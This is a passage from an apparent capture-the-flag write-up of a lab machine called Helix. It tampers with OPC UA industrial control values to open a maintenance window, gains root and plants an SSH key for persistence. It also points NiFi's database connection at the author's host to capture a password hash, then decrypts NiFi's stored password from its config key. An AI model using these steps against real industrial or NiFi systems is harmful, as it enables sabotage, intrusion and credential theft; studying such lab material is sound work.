File "/home/oxdf/.cache/uv/archive-v0/XVjHN3y8lZlssdm-nKg3G/lib/python3.13/site-packages/opcua/tools.py", line 267, in uawrite
node.set_attribute(args.attribute, ua.DataValue(val))
~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.cache/uv/archive-v0/XVjHN3y8lZlssdm-nKg3G/lib/python3.13/site-packages/opcua/common/node.py", line 263, in set_attribute
result[0].check()
~~~~~~~~~~~~~~~^^
File "/home/oxdf/.cache/uv/archive-v0/XVjHN3y8lZlssdm-nKg3G/lib/python3.13/site-packages/opcua/ua/uatypes.py", line 218, in check
raise UaStatusCodeError(self.value)
opcua.ua.uaerrors._auto.BadUserAccessDenied: "User does not have permission to perform the requested operation."(BadUserAccessDenied)
BadUserAccessDenied says I don’t have permissions to write this node. Pressure has the same issue. I am able to write the CalibrationOffset. It starts as 0:
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6"
0.0
If I bump it to 5:
oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 5.0
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6"
5.0
The TemperatureRaw doesn’t change, but Temperature went up by 5:
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=3"
283.9988853107744
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
288.9989410452357
I need to get the temperature over 295 to reach the maintenance band, so I’ll make the offset a bit bigger:
oxdf@hacky$ uv run --with opcua --with cryptography uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 15.0
oxdf@hacky$ uv run --with opcua --with cryptography uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
297.806716916155
The web UI shows the maintenance window is open:
Using FreeOpcUa Client
I’ll install opcua-client from PyPI using uv:
oxdf@hacky$ uv tool install opcua-client
Resolved 18 packages in 222ms
Prepared 7 packages in 1.49s
Installed 18 packages in 63ms
+ aiosqlite==0.22.1
+ anyio==4.14.2
+ asyncua==2.0.1
+ cffi==2.1.0
+ cryptography==49.0.0
+ idna==3.18
+ opcua-client==0.8.4
+ opcua-widgets==0.6.1
+ pycparser==3.0
+ pyopenssl==26.3.0
+ pyqt5==5.15.11
+ pyqt5-qt5==5.15.19
+ pyqt5-sip==12.18.0
+ python-dateutil==2.9.0.post0
+ pytz==2026.3.post1
+ six==1.17.0
+ sortedcontainers==2.4.0
+ typing-extensions==4.16.0
Installed 1 executable: opcua-client
Now I can run it with opcua-client:
Because I already have the SSH tunnel for 4840 to Helix, I can just hit connect here. The result gives a tree-like view just like the command line:
Under Plant I’ll find the same nodes I found from the command line with the same NodeIds:
In the Attributes window (right click in the menu bar to recover any closed windows), it shows the value:
I can edit these numbers as well. I’ll find the Mode, initially set at “NORMAL”:
Clicking on the value allows edits:
On hitting enter, it updates, and refreshing shows the change stuck. I’ll set TestOverride to True the same way.
If I try to set the Temperature the same way, it fails:
At the bottom it says this user doesn’t have permission to perform the requested operation.
I’ll set the CalibrationOffset, just like with command line:
The Temperature reading goes up:
And it all shows up on the status page:
Shell
Now I just need to run helix-maint-console:
operator@helix:~$ sudo helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 104 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#
I can write an SSH key to keep access after the window closes:
root@helix:~/.ssh# echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> authorized_keys
I’ll also grab root.txt:
root@helix:~# cat root.txt
631dd80a************************
Beyond Root - Nifi DB Password
Rogue Server
Plaintext Failures
With access to this DB connection in NiFi, I want to see if I can set the DB as my host, and capture a plaintext credential.
The current DB driver, H2, only ever sends a hash. On the other hand, MySQL has the mysql_clear_password auth plugin, which means that if the server requests it, the client sends the literal password.
I’ll set the connection to my host:
jdbc:mysql://10.10.15.217:3306/test?sslMode=DISABLED
sslMode=DISABLED drops the connection to plaintext (no TLS). The idea is that a rogue MySQL server can then send an auth-switch request telling the client to use the mysql_clear_password plugin, at which point the client hands over the literal password. Modern SQL clients may refuse to send a plaintext password over a non-TLS connection, but I’ll deal with that if I get that far.
I’ll try a couple things for the MySQL driver:
com.mysql.cj.jdbc.Driver
com.mysql.jdbc.Driver
Regardless of what I put in, when I update it, everything seems to work until I go to “Enable” the service. It always just hangs at “Enabling”:
Going back with a shell, the reason is that there’s no MySQL JDBC driver on the host at all:
root@helix:~# find / -iname '*mysql*connector*.jar' -o -iname '*mariadb*.jar' 2>/dev/null
/opt/nifi-1.21.0/work/nar/extensions/nifi-cdc-mysql-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/mysql-binlog-connector-java-0.27.5.jar
root@helix:~# ls /opt/nifi-1.21.0/lib/ | grep -iE 'mysql|mariadb'
nifi-cdc-mysql-nar-1.21.0.nar
mysql-binlog-connector-java is not a JDBC driver. It’s the library NiFi’s CaptureChangeMySQL (CDC) processor uses to read MySQL’s replication binlog. It doesn’t implement java.sql.Driver and provides no com.mysql.cj.jdbc.Driver class. So no matter what driver class or location I set, NiFi has no MySQL driver to instantiate, and the pool never finishes enabling.
Capture Hash
I can use the H2 driver that was originally there to capture a password hash, of the format SHA-256(USER@password). I’ll update the configuration back to the H2 driver (org.h2.Driver) and put the URL to point at an in memory DB named 0xdf:
The H2 TCP driver connects to port 9092 by default, so I’ll listen there with nc (piping into xxd), enable the connection, and start ExecuteSQL. There’s a connection:
oxdf@hacky$ nc -lnvp 9092 | xxd
Listening on 0.0.0.0 9092
Connection received on 10.129.38.238 55748
00000000: 0000 0011 0000 0014 0000 0008 006d 0065 .............m.e
00000010: 006d 003a 0030 0078 0064 0066 0000 0028 .m.:.0.x.d.f...(
00000020: 006a 0064 0062 0063 003a 0068 0032 003a .j.d.b.c.:.h.2.:
00000030: 0074 0063 0070 003a 002f 002f 0031 0030 .t.c.p.:././.1.0
00000040: 002e 0031 0030 002e 0031 0035 002e 0032 ...1.0...1.5...2
00000050: 0031 0037 003a 0039 0030 0039 0032 002f .1.7.:.9.0.9.2./
00000060: 006d 0065 006d 003a 0030 0078 0064 0066 .m.e.m.:.0.x.d.f
00000070: 0000 0008 004f 0050 0045 0052 0041 0054 .....O.P.E.R.A.T
00000080: 004f 0052 0000 0020 01f0 b4cd ed3e 36bb .O.R... .....>6.
00000090: f96e a2ed 1de6 8747 2bd9 daf0 9315 0807 .n.....G+.......
000000a0: 6393 77bf 2b3b 6556 ffff ffff 0000 0000 c.w.+;eV........
The UTF-16 name OPERATOR is sent (that’s the username), and then two null bytes, and then the hash, which I can format as 01f0b4cded3e36bbf96ea2ed1de687472bd9daf093150807639377bf2b3b6556.
I could try to crack this, but (a) it uses UTF-16 which I’d need to account for, and (b) I’ll find the real password in the next section and it’s not in any word lists I would use.
Decrypt Password
Collect Information
The password is stored in flow.xml.gz, which I can access with zcat, using tr to add some spacing to the XML, and then grepping for Password:
nifi@helix:/opt/nifi-1.21.0/conf$ zcat flow.xml.gz | tr '>' '>\n' | grep -B1 -A2 Password
<property>
<name>Password</name>
<value>enc{2fae0e548c96fee3786a4fe62a8b9beca0df3ebe427757136038c11501f9beaa938c87d318d284a0316b3c6c4febd8125336}</value>
</property>
It’s stored encrypted. The key is stored in nifi.properties:
nifi@helix:/opt/nifi-1.21.0/conf$ grep nifi.sensitive.props nifi.properties
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.key.protected=
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
nifi.sensitive.props.additional.keys=
There’s the key, as well as the algorithm, PBKDF2 / AES GCM 256.
Recover Password
I need to process the enc string, breaking it into 3 parts:
- 16 byte IV (32 hex characters)
- encrypted text
- 16 byte AES GCM tag (32 hex characters)
I’ll put the enc text into Input and use the “Register” operation:
This doesn’t change the output, but does store values in $R0, $R1, and $R2.
Next I’ll use the PBKDF2 operation, which ignores the input and generates a key:
There’s a bunch of parameters here, which I can have AI grab from the NiFi source. The salt is a hardcoded “NiFi Static Salt” constant. I’ll save the derived key in another register, $R3.
I’ll use “Find / Replace” to clear the output and replace it with $R1, and then use AES Decrypt to decrypt that using the other registers as inputs:
The resulting plaintext password is “R7qZ9L3xKM2W8pFYcA”. While this wouldn’t have been brute-forcable, I can verify it:
oxdf@hacky$ echo -n 'OPERATOR@R7qZ9L3xKM2W8pFYcA' | iconv -f UTF-8 -t UTF-16BE | sha256sum
01f0b4cded3e36bbf96ea2ed1de687472bd9daf093150807639377bf2b3b6556 -
That matches the hash I recovered above.
The full CyberChef recipe looks like:
flowchart TD
A("enc{...} hex value") --> REG["Register<br/>regex splits the hex"]
REG --> R0>"$R0 = IV<br/>(first 16 bytes)"]
REG --> R1>"$R1 = ciphertext<br/>(middle bytes)"]
REG --> R2>"$R2 = GCM tag<br/>(last 16 bytes)"]
REG -.-x PBKDF2["PBKDF2<br/>passphrase = nifi.sensitive.props.key<br/>salt = 'NiFi Static Salt'<br/>iterations = 160000<br/>PRF = SHA512<br/>key length = 32 bytes"]
PBKDF2 --> R3>"$R3 = AES-256 key"]
PBKDF2 -.-x FR["Find / Replace<br/>output = $R1 (ciphertext)"]
FR --> DEC["AES Decrypt<br/>mode = GCM<br/>key = $R3<br/>IV = $R0<br/>tag = $R2"]
DEC --> OUT("Plaintext password<br/>R7qZ9L3xKM2W8pFYcA")
linkStyle 0,4,6,7,8 stroke:#e6194B,stroke-width:3px
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
The red lines track the output flow of CyberChef, where the x shows that the input isn’t used in the next stage.
